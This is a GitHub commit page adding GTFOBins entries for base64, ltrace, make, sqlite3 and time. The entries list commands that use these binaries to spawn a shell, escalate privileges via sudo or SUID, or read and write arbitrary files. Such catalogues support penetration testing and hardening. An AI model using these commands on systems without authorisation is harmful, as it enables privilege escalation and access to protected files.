Skip to content

Commit

Permalink
Add base64, ltrace, make, sqlite3, time
Browse files Browse the repository at this point in the history
  • Loading branch information
cyrus-and committed Jun 4, 2018
2 parents 0785f11 + 81f1239 commit 564dbe2
Show file tree
Hide file tree
Showing 5 changed files with 88 additions and 0 deletions.
15 changes: 15 additions & 0 deletions _gtfobins/base64.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
---
functions:
sudo-enabled:
- code: |
LFILE=file_to_read
sudo base64 "$LFILE" | base64 --decode
suid-enabled:
- code: |
LFILE=file_to_read
./base64 "$LFILE" | base64 --decode
file-read:
- code: |
LFILE=file_to_read
base64 "$LFILE" | base64 --decode
---
7 changes: 7 additions & 0 deletions _gtfobins/ltrace.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
---
functions:
execute-interactive:
- code: ltrace -b -L /bin/sh
sudo-enabled:
- code: sudo ltrace -b -L /bin/sh
---
33 changes: 33 additions & 0 deletions _gtfobins/make.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
---
description: |
All these examples only work with GNU `make` due to the lack of support of the
`--eval` flag. The same can be achieved by using a proper `Makefile` of by
passing the content via stdin, that is:
```
make -s --eval=<commands>
```
becomes:
```
make -s -f <(echo <commands>)
```
functions:
execute-interactive:
- code: |
COMMAND='/bin/sh'
make -s --eval=$'x:\n\t-'"$COMMAND"
sudo-enabled:
- code: |
COMMAND='/bin/sh'
sudo make -s --eval=$'x:\n\t-'"$COMMAND"
suid-enabled:
- code: |
COMMAND='/bin/sh'
./make -s --eval=$'x:\n\t-'"$COMMAND"
file-write:
- code: |
LFILE=file_to_write
make -s --eval="\$(file >$LFILE,data)" .
---
21 changes: 21 additions & 0 deletions _gtfobins/sqlite3.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
---
functions:
execute-interactive:
- code: sqlite3 /dev/null '.shell /bin/sh'
sudo-enabled:
- code: sudo sqlite3 /dev/null '.shell /bin/sh'
suid-limited:
- code: ./sqlite3 /dev/null '.shell /bin/sh'
file-write:
- code: |
LFILE=file_to_write
sqlite3 /dev/null -cmd ".output $LFILE" 'select "data";'
file-read:
- code: |
LFILE=file_to_read
sqlite3 << EOF
CREATE TABLE t(line TEXT);
.import $LFILE t
SELECT * FROM t;
EOF
---
12 changes: 12 additions & 0 deletions _gtfobins/time.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
---
description: |
Note that the shell might have its own builtin time implementation, which may
behave differently than` /usr/bin/time`, hence the absolute path.
functions:
execute-interactive:
- code: /usr/bin/time /bin/sh
sudo-enabled:
- code: sudo /usr/bin/time /bin/sh
suid-enabled:
- code: ./time /bin/sh -p
---

0 comments on commit 564dbe2

Please sign in to comment.